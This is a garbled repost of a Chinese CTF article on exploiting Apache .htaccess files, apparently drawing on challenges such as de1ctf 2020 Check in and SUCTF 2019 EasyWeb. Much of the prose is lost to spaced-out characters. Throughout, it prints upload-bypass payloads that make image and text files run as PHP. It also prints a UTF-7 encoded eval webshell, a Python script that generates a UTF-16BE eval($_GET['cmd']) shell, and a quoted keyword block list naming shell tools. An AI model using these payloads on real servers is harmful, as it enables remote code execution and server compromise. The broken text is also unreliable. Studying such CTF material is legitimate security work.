[21362] 2020-10-31_CTF丨.htaccess文件的利用,没有比它更全面的文章了!

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-18
2020-10-31_CTF丨.htaccess文件的利用,没有比它更全面的文章了! C T F . h t a c c e s s i   L e m o n S e c   2 0 2 0 - 1 0 - 3 1 . h t a c c e s s A p a c h e . h t a c c e s s p h p . i n i C T F . h t a c c e s s W A F . h t a c c e s s   i   k a w h i . h t a c c e s s . h t a c c e s s h t t p d . c o n f A l l o w O v e r r i d e   N o n e A l l o w O v e r r i d e   A l l L o a d M o d u l e   r e w r i t e _ m o d u l e   m o d u l e s / m o d _ r e w r i t e . s o # . h t a c c e s s C T F . h t a c c e s s 使 p h p p t h m l p h t 使 . h t a c c e s s p h p A d d T y p e
u p l o a d - l a b s 使 p h p s h e l l . p h p . h t a c c e s s . h t a c c e s s A d d T y p e j p g p h p . h t a c c e s s s h e l l . j p g A d d T y p e   a p p l i c a t i o n / x - h t t p d - p h p   . j p g
. h t a c c e s s j p g p h p A d d H a n d l e r A d d T y p e A d d H a n d l e r t x t p h p . h t a c c e s s A d d H a n d l e r   p h p 5 - s c r i p t   . t x t A d d H a n d l e r   p h p 7 - s c r i p t   . t x t . p h p   p h p 5 - s r c i p t / p h p 7 - s r c i p t t x t p h p 使 [ d e 1 c t f   2 0 2 0 ] C h e c k   i n . h t a c c e s s t x t p h p f l a g p e r l | p y t h | p h | a u t o | c u r l | b a s e | > | r m | r u b y | o p e n s s l | w a r | l u a | m s f | x t e r | t e l n e t A d d H a n d l e r   p h p 5 - s c r i p t   . t x t p h p _ v a l u e   a u t o _ a p p e n d _ f i l e   / f l a g
1 . t x t / f l a g . h t a c c e s s S e t H a n d l e r . h t a c c e s s S e t H a n d l e r p h p s h e l l . j p g p h p 使 . p h S e t H a n d l e r . h t a c c e s s 访 h t t p : / / i p / s e r v e r - s t a t u s 访 [ d e 1 c t f   2 0 2 0 ] C h e c k   i n w p . h t a c c e s s u p l o a d - l a b s a p p l i c a t i o n . h t a c c e s s 使 e x i f _ i m a g e t y p e S e t H a n d l e r   a p p l i c a t i o n / x - h t t p d - p h p < F i l e s M a t c h   " s h e l l . j p g " >         S e t H a n d l e r   a p p l i c a t i o n / x - h t t p d - p h p < / F i l e s M a t c h > < F i l e s M a t c h   " . p h . * $ " >     S e t H a n d l e r   a p p l i c a t i o n / x - h t t p d - p h p < / F i l e s M a t c h > S e t H a n d l e r   s e r v e r - s t a t u s A d d T y p e   a p p l i c a t i o n / x - h t t p d - p h p   . j p g
e x i f _ i m a g e t y p e (   )   [ S U C T F   2 0 1 9 ] E a s y W e b g i f G I F 8 9 a . h t a c c e s s . h t a c c e s s x b m x b m p h p e x i f _ i m a g e t y p e (   ) x b m . h t a c c e s s i n d e x . p h p $ c o n t e n t " n H e l l o ,   w o r l d " . h t a c c e s s 5 0 0 使 n # " n H e l l o ,   w o r l d " 使 . h t a c c e s s $ t m p _ n a m e   =   $ _ F I L E S [ " f i l e " ] [ " t m p _ n a m e " ] ; i f ( ! e x i f _ i m a g e t y p e ( $ t m p _ n a m e ) )   d i e ( " ^ _ ^ " ) ; # d e f i n e   4 c 1 1 f 3 8 7 6 d 4 9 4 2 1 8 f f 3 2 7 e 3 c a 6 a c 8 2 4 f _ w i d t h   x x x ( ) # d e f i n e   4 c 1 1 f 3 8 7 6 d 4 9 4 2 1 8 f f 3 2 7 e 3 c a 6 a c 8 2 4 f _ h e i g h t   x x x ( ) f i l e _ p u t _ c o n t e n t s ( $ f i l e n a m e ,   $ c o n t e n t   .   " n H e l l o ,   w o r l d " ) ;
p a y l o a d u r l . h t a c c e s s p h p _ v a l u e p h p _ f l a g p h p _ v a l u e p h p _ f l a g 使 A p a c h e P H P a u t o _ p r e p e n d _ f i l e d i s p l a y _ e r r o r s p h p . i n i   . h t a c c e s s p h p _ a d m i n _ v a l u e p h p _ a d m i n _ f l a g . h t a c c e s s < ? p h p 7 < s c r i p t   l a n g u a g e = ' p h p ' > < % 使 p h p . h t a c c e s s U T F - 7 s h e l l . j p g U T F - 7 线 U T F - 7 U T F - 7   E n c o d e r . h t a c c e s s U T F - 7 . h t a c c e s s p h p _ v a l u e   a u t o _ p r e p e n d _ f i l e   . h t a c c e s s # & f i l e n a m e = . h t a c c e s s # d e f i n e   4 c 1 1 f 3 8 7 6 d 4 9 4 2 1 8 f f 3 2 7 e 3 c a 6 a c 8 2 4 f _ w i d t h   1 3 3 7 # d e f i n e   4 c 1 1 f 3 8 7 6 d 4 9 4 2 1 8 f f 3 2 7 e 3 c a 6 a c 8 2 4 f _ h e i g h t   1 3 3 7 + A D w ? p h p   + A E A - e v a l ( + A C Q A X w - P O S T + A F s ' c m d ' + A F 0 ) + A D s ? + A D 4 -
3 4 p h p _ f l a g d i s p l a y _ e r r o r s   o n e r r o r _ r e p o r t i n g ( 0 ) 5 p h p _ f l a g z e n d . m u l t i b y t e 1 使   U T F - 7 S J I S B I G 5   z e n d . m u l t i b y t e U T F - 8 p h p _ v a l u e z e n d . s c r i p t _ e n c o d i n g   " U T F - 7 " U T F - 7 p h p s t u d y . h t a c c e s s s h e l l . j p g p h p s t u d y . h t a c c e s s p h p n t s [ S U C T F   2 0 1 9 ] E a s y W e b w r i t e u p u t f - 1 6 b e . h t a c c e s s # d e f i n e   4 c 1 1 f 3 8 7 6 d 4 9 4 2 1 8 f f 3 2 7 e 3 c a 6 a c 8 2 4 f _ w i d t h   1 3 3 7 # d e f i n e   4 c 1 1 f 3 8 7 6 d 4 9 4 2 1 8 f f 3 2 7 e 3 c a 6 a c 8 2 4 f _ h e i g h t   1 3 3 7 A d d T y p e   a p p l i c a t i o n / x - h t t p d - p h p   . j p g p h p _ f l a g   d i s p l a y _ e r r o r s   o n p h p _ f l a g   z e n d . m u l t i b y t e   1 p h p _ v a l u e   z e n d . s c r i p t _ e n c o d i n g   " U T F - 7 "
p h p _ v a l u e p h p . i n i r e q u i r e a u t o _ p r e p e n d _ f i l e   a u t o _ a p p e n d _ f i l e   1 . p h p p h p S I Z E _ H E A D E R   =   b " n n # d e f i n e   w i d t h   1 3 3 7 n # d e f i n e   h e i g h t   1 3 3 7 n n " d e f   g e n e r a t e _ p h p _ f i l e ( f i l e n a m e ,   s c r i p t ) :         p h p f i l e   =   o p e n ( f i l e n a m e ,   ' w b ' )         p h p f i l e . w r i t e ( s c r i p t . e n c o d e ( ' u t f - 1 6 b e ' ) )         p h p f i l e . w r i t e ( S I Z E _ H E A D E R )         p h p f i l e . c l o s e ( ) d e f   g e n e r a t e _ h t a c e s s ( ) :         h t a c c e s s   =   o p e n ( ' . h t a c c e s s ' ,   ' w b ' )         h t a c c e s s . w r i t e ( S I Z E _ H E A D E R )         h t a c c e s s . w r i t e ( b ' A d d T y p e   a p p l i c a t i o n / x - h t t p d - p h p   . l e t h e n ' )         h t a c c e s s . w r i t e ( b ' p h p _ v a l u e   z e n d . m u l t i b y t e   1 n ' )         h t a c c e s s . w r i t e ( b ' p h p _ v a l u e   z e n d . d e t e c t _ u n i c o d e   1 n ' )         h t a c c e s s . w r i t e ( b ' p h p _ v a l u e   d i s p l a y _ e r r o r s   1 n ' )         h t a c c e s s . c l o s e ( ) g e n e r a t e _ h t a c e s s ( ) g e n e r a t e _ p h p _ f i l e ( " s h e l l . l e t h e " ,   " < ? p h p   e v a l ( $ _ G E T [ ' c m d ' ] ) ;   d i e ( ) ;   ? > " ) p h p _ v a l u e   a u t o _ p r e p e n d _ f i l e   1 . p h p
1 . p h p s h e l l . p h p . h t a c c e s s s h e l l . j p g b a s e 6 4 p h p A d d T y p e   a p p l i c a t i o n / x - h t t p d - p h p   . j p g p h p _ v a l u e   a u t o _ a p p e n d _ f i l e   " p h p : / / f i l t e r / c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = s h e l l . j p g "
1 . p h p s h e l l . j p g p h p i n f o X - N U C A ' 2 0 1 9 E z p h p
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则